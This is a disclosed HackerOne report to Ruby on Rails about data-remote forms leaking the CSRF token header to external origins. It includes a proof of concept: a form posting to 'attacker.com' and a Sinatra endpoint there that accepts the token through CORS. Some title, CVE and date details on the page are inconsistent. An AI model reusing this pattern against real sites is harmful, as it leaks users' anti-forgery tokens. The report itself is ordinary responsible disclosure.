


## 2 CSRF header is sent to external websites when using data-remote forms

Share:     

### TIMELINE

 **mastahyeti** submitted a report to [Ruby on Rails](#). Dec 9th (6 years ago)  
Looks like there is a regression in the fix for [CVE-2015-1840 \(H1 report\)](#). The origin isn't being checked before adding a CSRF header to `data-remote` forms. I noticed this when checking out the new rails-ufs repo.

Example Rails template:

```
Code 102 Bytes Wrap lines Copy Download  
1 <%= form_tag "http://attacker.com", remote: true do %>  
2 <button type=submit>submit</button>  
3 <% end %>
```

Example <http://attacker.com> app

```
Code 220 Bytes Wrap lines Copy Download  
1 require "sinatra"  
2  
3 options '/' do  
4   headers['Access-Control-Allow-Origin'] = ""  
5   headers['Access-Control-Allow-Methods'] = "POST"  
6   headers['Access-Control-Allow-Headers'] = "x-csrf-token"  
7 end  
8  
9 post '/' do  
10   "foo"  
11 end
```


When the form is submitted, an XHR request to [attacker.com](#) is sent, including the `X-CSRF-Token` header.

PS: [@tenderlove](#) told me to submit this here. I shouldn't get paid since I'm one of the GitHub folks who reviews these H1 submissions now.

 **mikhail1519** HackerOne staff changed the status to ● Needs more info. Jun 4th (4 years ago)  
Hey [@mastahyeti](#),

HackerOne is now partnering with Ruby on Rails to help them manage their incoming security vulnerability reports. As such, we are also helping clear out backlogged reports like this. Can you please check to see if this reported issue is still valid? If it's valid, we'll have our team triage it accordingly. If it's no longer valid, please close it out as N/A (without penalty).

Thanks in advance!  
-Alek (H1 Program Manager)

 **mastahyeti** changed the status to ● New. Jun 4th (4 years ago)  
I have not revalidated the submission, but I have no reason to believe that it has been fixed.


 **orangeband** changed the status to ● Needs more info. Jul 9th (3 years ago)  
Hi [@mastahyeti](#)

Can you confirm if this issue is still present? This will help us determine how to validate and handle the report.

Thanks,  
[@orangeband](#)

 **mastahyeti** changed the status to ● New. Jul 10th (3 years ago)  
I validated that this is still an issue on the latest release of Rails (5.2.3) using the steps described in the OP.


1 attachment:  
**F526195:** [Screen\\_Shot\\_2019-07-10\\_at\\_4.43.24\\_PM.png](#)

 **beagle** posted a comment. Jul 18th (3 years ago)  
Hi [@mastahyeti](#),

Thank you for your reply. Your report is currently being reviewed and the HackerOne triage team will get back to you once there is additional information to share.


Kind regards,  
[@beagle](#)

 **beagle** updated the severity from Medium to Low (3.1). Jul 19th (3 years ago)

 **beagle** changed the status to ● Triaged. Jul 19th (3 years ago)  
I was able to validate your report, and have submitted it to the appropriate remediation team for review. They will let us know the final ruling on this report, and when/if a fix will be implemented. Please note that the status and severity are subject to change.

👤 beagle changed the report title from `CVE-2015-1040 regression` to `CRLF header is sent to external websites when using data-remote forms`. Jul 19th (5 years ago)

 tenderlove Ruby on Rails staff closed the report and changed the status to **Resolved**. May 18th (3 years ago)  
Shipped

 The Internet Bug Bounty has decided that this report is not eligible for a bounty. May 18th (3 years ago)  
We work coworkers when this was reported so I'm setting this bounty as ineligible. 🙅

👤 tenderlove Ruby on Rails staff requested to disclose this report. May 18th (3 years ago)

👤 tenderlove Ruby on Rails staff disclosed this report. May 26th (3 years ago)